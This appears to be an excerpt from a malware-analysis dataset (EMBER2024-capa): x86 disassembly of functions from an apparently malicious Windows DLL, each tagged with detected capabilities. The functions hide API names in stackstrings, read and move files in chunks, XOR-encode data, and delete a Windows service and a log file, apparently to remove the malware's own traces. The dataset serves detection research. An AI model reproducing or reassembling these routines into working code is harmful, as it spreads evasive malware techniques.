joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004bb0
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebp, ecx
push str.CloseHandle
push str.kernel32.dll
mov dword [esp + 0x20], ebp
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x10], eax
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x24], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
push eax
call edi
lea edx, [ebp + 0x20]
mov ebx, eax
mov ebp, dword [esp + 0x3c]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 3
push 0
and ecx, 3
push 1
push 0x80000000
rep movsb byte es:[edi], byte [esi]
push ebp
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x10004cbc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret 4
lea ecx, [esp + 0x14]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [esp + 0x14]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x14]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x3c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x20]
call fcn.10008840
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 4
Function at 0x10004d50
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
mov ebx, ecx
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x14], eax
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x25], al
mov byte [esp + 0x28], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x21], al
mov byte [esp + 0x29], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x20], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x24]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x46
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call esi
push eax
call edi
mov edi, dword [esp + 0x38]
cmp dword [edi + 4], 0xffffffff
jne 0x10004e1c
mov ecx, ebx
call fcn.10004ee0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea edx, [ebx + 0x20]
push 0x80000000
push edx
call eax
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10004e47
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x24
ret 4
mov eax, dword [edi + 4]
push 0
push edi
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
mov byte [esi], 0x6a
mov ecx, dword [edi]
mov dword [esi + 1], ecx
mov edx, dword [edi + 4]
lea ecx, [esi + 9]
push 0x1ff7
push ecx
push ebp
mov dword [esi + 5], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
call dword [esp + 0x18]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x10004ebf
add eax, 9
mov ecx, ebx
push eax
push esi
call fcn.10008840
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
mov ecx, ebx
call fcn.10004ee0
mov edi, dword [esp + 0x38]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
Function at 0x10005430
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x16c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
mov ebp, ecx
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x38], eax
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x24], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
push eax
call edi
mov ecx, dword [ebp + 0x1c]
mov ebx, eax
mov eax, ecx
sub eax, 2
je 0x1000550a
sub eax, 2
je 0x10005503
sub eax, 2
je 0x100054fc
mov esi, ecx
jmp 0x1000550f
mov esi, 5
jmp 0x1000550f
mov esi, 3
jmp 0x1000550f
mov esi, 1
lea edx, [esp + 0x3c]
lea edi, [ebp + 0x20]
push edx
push edi
call dword [0x1001cc3c]
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [esp + 0x10], ecx
mov byte [esp + 0x10], 0x70
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], cl
je 0x1000557c
cmp esi, 1
jne 0x10005552
mov edx, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], ecx
mov esi, 3
jmp 0x10005591
cmp esi, 3
jne 0x10005568
xor edx, edx
mov esi, 2
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], edx
jmp 0x10005591
cmp esi, 5
jne 0x1000558d
mov dword [esp + 0x15], 0xffffffff
mov esi, 3
jmp 0x10005591
xor ecx, ecx
mov esi, 2
mov dword [esp + 0x11], ecx
mov dword [esp + 0x15], ecx
jmp 0x10005591
mov esi, dword [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push esi
push 0
push 2
push 0x40000000
push edi
call ebx
cmp eax, 0xffffffff
jne 0x100055ca
xor eax, eax
pop edi
mov dword [ebp + 0x128], eax
mov dword [ebp + 0x12c], eax
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
push eax
call dword [esp + 0x3c]
lea edx, [esp + 0x10]
push 9
push edx
mov ecx, ebp
call fcn.10008840
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
Function at 0x100055f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x58
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
mov edi, ecx
push str.kernel32.dll
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x48]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x50], 0x6b
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0x72
mov byte [esp + 0x53], 0x6e
mov byte [esp + 0x54], bl
mov byte [esp + 0x55], 0x6c
mov byte [esp + 0x56], 0x33
mov byte [esp + 0x57], 0x32
mov byte [esp + 0x58], 0x2e
mov byte [esp + 0x59], 0x64
mov byte [esp + 0x5a], 0x6c
mov byte [esp + 0x5b], 0x6c
mov byte [esp + 0x5c], 0
mov byte [esp + 0x44], 0x43
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], 0x61
mov byte [esp + 0x48], 0x74
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x46
mov byte [esp + 0x4b], 0x69
mov byte [esp + 0x4c], 0x6c
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x41
mov byte [esp + 0x4f], 0
call esi
push eax
call ebp
mov dword [esp + 0x14], eax
lea edx, [esp + 0x30]
lea eax, [esp + 0x58]
push edx
push eax
mov byte [esp + 0x60], 0x6b
mov byte [esp + 0x61], bl
mov byte [esp + 0x62], 0x72
mov byte [esp + 0x63], 0x6e
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], 0x6c
mov byte [esp + 0x66], 0x33
mov byte [esp + 0x67], 0x32
mov byte [esp + 0x68], 0x2e
mov byte [esp + 0x69], 0x64
mov byte [esp + 0x6a], 0x6c
mov byte [esp + 0x6b], 0x6c
mov byte [esp + 0x6c], 0
mov byte [esp + 0x38], 0x57
mov byte [esp + 0x39], 0x72
mov byte [esp + 0x3a], 0x69
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0x46
mov byte [esp + 0x3e], 0x69
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0
call esi
push eax
call ebp
mov ebx, dword [esp + 0x6c]
mov dword [esp + 0x18], eax
mov ecx, dword [ebx]
mov dword [esp + 0x10], ecx
mov ebp, dword [ebx + 4]
push 0
push 0x80
push 3
push 0
push 2
lea edx, [edi + 0x20]
push 0x40000000
push edx
call dword [esp + 0x30]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x70]
lea ecx, [esp + 0x20]
push 0
add edx, 0xfffffff8
push ecx
add ebx, 8
push edx
push ebx
push esi
call dword [esp + 0x2c]
push esi
call dword [esp + 0x20]
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
add ecx, ebp
lea edx, [esp + 0x24]
mov dword [esp + 0x29], ecx
push 9
push edx
mov ecx, edi
mov byte [esp + 0x2c], 0x70
mov dword [esp + 0x2d], eax
call fcn.10008840
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret 8

Function at 0x100057f0
Capabilities:
Move file

Disassembly:
push esi
push edi
push str.MoveFileA
mov edi, ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [eax + esi + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x71
mov ecx, edi
call fcn.10004f50
pop edi
pop esi
ret 4
Function at 0x100066f0
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x100167d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10008710
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CloseHandle
push str.kernel32.dll
mov dword [esp + 0x24], 0
mov dword [esi], 0x100171e4
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.lstrcpyA
push str.kernel32.dll
mov ebx, eax
call edi
push eax
call ebp
mov edi, eax
mov eax, dword [esp + 0x28]
test eax, eax
je 0x10006765
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x30]
test eax, eax
je 0x10006777
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x34]
test eax, eax
je 0x10006787
push eax
push 0x1001d100
call edi
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x2c]
push 0
push 0
push 0
push 0x10006000
push 0
mov dword [0x1001a558], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call ebx
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0x18

Function at 0x10006e20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.lstrcatA
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.DeleteFileA
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
mov cl, 0x6c
mov ebp, eax
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x21], al
mov byte [esp + 0x27], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x22], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x2e], cl
lea eax, [esp + 0x20]
lea ecx, [esp + 0x10]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], 0
mov byte [esp + 0x28], 0x47
mov byte [esp + 0x2b], 0x53
mov byte [esp + 0x2c], 0x79
mov byte [esp + 0x2d], 0x73
mov byte [esp + 0x30], 0x6d
mov byte [esp + 0x31], 0x44
mov byte [esp + 0x32], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x35], 0x63
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], dl
mov byte [esp + 0x39], 0x79
mov byte [esp + 0x3a], 0x41
mov byte [esp + 0x3b], 0
call esi
push eax
call edi
lea edx, [esp + 0x34]
push 0x104
push edx
call eax
lea eax, [esp + 0x34]
push str._syslog.dat
push eax
call ebx
lea ecx, [esp + 0x34]
push ecx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x10006f30
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.OpenSCManagerA
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.OpenServiceA
push str.ADVAPI32.dll
mov ebx, eax
call esi
push eax
call edi
push str.DeleteService
push str.ADVAPI32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
mov ebp, eax
mov al, 0x6c
mov byte [esp + 0x31], al
mov byte [esp + 0x36], al
mov byte [esp + 0x37], al
mov al, 0x73
mov cl, 0x65
mov byte [esp + 0x29], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x30], cl
mov byte [esp + 0x28], cl
lea eax, [esp + 0x20]
lea ecx, [esp + 0x2c]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x36], dl
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x40], 0
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], 0x78
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2c], 0x50
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], 0x6f
mov byte [esp + 0x2f], 0x63
mov byte [esp + 0x33], 0
call esi
push eax
call edi
push str.Sleep
push str.KERNEL32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
mov dword [esp + 0x18], eax
call fcn.10006e20
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call ebx
push 0x30
mov edi, eax
call esi
add esp, 4
push 0x10000
push 0x1001d668
push edi
call dword [esp + 0x1c]
push 0x30
mov ebx, eax
call esi
add esp, 4
push ebx
call dword [esp + 0x18]
push 0x30
call esi
add esp, 4
push ebx
call ebp
push 0x30
call esi
add esp, 4
push edi
call ebp
push 1
push 0
push 3
call fcn.1000df40
add esp, 0xc
push 0xa
call dword [esp + 0x1c]
push 0
push 0
push 1
call fcn.1000df40
add esp, 0xc
push 0
call dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
Function at 0x100076c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size

Disassembly:
sub esp, 0x40
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x24]
lea ecx, [esp + 0x30]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x38], 0x6b
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x72
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0x6c
mov byte [esp + 0x3e], 0x33
mov byte [esp + 0x3f], 0x32
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x41], 0x64
mov byte [esp + 0x42], 0x6c
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], 0
mov byte [esp + 0x2c], 0x43
mov byte [esp + 0x2d], 0x72
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], 0x61
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x46
mov byte [esp + 0x33], 0x69
mov byte [esp + 0x34], 0x6c
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x41
mov byte [esp + 0x37], 0
call esi
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x18]
lea eax, [esp + 0x40]
push edx
push eax
mov byte [esp + 0x48], 0x6b
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x72
mov byte [esp + 0x4b], 0x6e
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4d], 0x6c
mov byte [esp + 0x4e], 0x33
mov byte [esp + 0x4f], 0x32
mov byte [esp + 0x50], 0x2e
mov byte [esp + 0x51], 0x64
mov byte [esp + 0x52], 0x6c
mov byte [esp + 0x53], 0x6c
mov byte [esp + 0x54], 0
mov byte [esp + 0x20], 0x57
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x46
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0
call esi
push eax
call edi
push 0
push 0x80
push 4
mov ebx, eax
push 0
mov ecx, dword [0x1001d31c]
push 2
add ecx, 0xd
push 0x40000000
push ecx
call ebp
mov esi, eax
push 0
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10007836
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x54]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
push ebp
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test ebp, ebp
jle 0x10007870
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x54], ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
mov edx, dword [esp + 0x54]
inc eax
dec edx
mov dword [esp + 0x54], edx
jne 0x1000785c
lea eax, [esp + 0x10]
push 0
push eax
push ebp
push edi
push esi
call ebx
push esi
call dword [esp + 0x18]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x40
ret
Function at 0x10007fe0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100171f8
push 0x10015f00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x34], al
mov byte [ebp - 0x33], al
mov byte [ebp - 0x32], al
mov byte [ebp - 0x31], al
mov byte [ebp - 0x30], al
mov byte [ebp - 0x2f], 1
mov dword [ebp - 4], eax
push str.InitializeSecurityDescriptor
push str.ADVAPI32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
push eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov ebx, eax
mov dword [ebp - 0x4c], ebx
push str.AllocateAndInitializeSid
push str.ADVAPI32.dll
call edi
push eax
call esi
mov dword [ebp - 0x48], eax
push str.GetLengthSid
push str.ADVAPI32.dll
call edi
push eax
call esi
mov dword [ebp - 0x50], eax
push str.InitializeAcl
push str.ADVAPI32.dll
call edi
push eax
call esi
mov dword [ebp - 0x40], eax
push str.AddAccessAllowedAce
push str.ADVAPI32.dll
call edi
push eax
call esi
mov dword [ebp - 0x3c], eax
push str.SetSecurityDescriptorDacl
push str.ADVAPI32.dll
call edi
push eax
call esi
mov dword [ebp - 0x44], eax
push 1
mov eax, dword [ebp + 8]
push eax
call ebx
test eax, eax
je 0x10008132
lea ecx, [ebp - 0x38]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea edx, [ebp - 0x34]
push edx
call dword [ebp - 0x48]
test eax, eax
je 0x10008132
mov eax, dword [ebp - 0x38]
push eax
call dword [ebp - 0x50]
mov ebx, eax
add ebx, 0x10
mov dword [ebp - 0x2c], ebx
push ebx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x10008132
push 2
push ebx
mov ecx, eax
push ecx
call dword [ebp - 0x40]
test eax, eax
je 0x10008132
mov edx, dword [ebp - 0x38]
push edx
push 0x10000000
push 2
mov eax, dword [ebp - 0x1c]
push eax
call dword [ebp - 0x3c]
test eax, eax
je 0x10008132
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x44]
test eax, eax
je 0x10008132
mov dword [ebp - 0x24], 1
mov dword [ebp - 4], 0xffffffff
call fcn.1000817d
mov eax, dword [ebp - 0x24]
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x1000815e
test eax, eax
je 0x1000815c
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4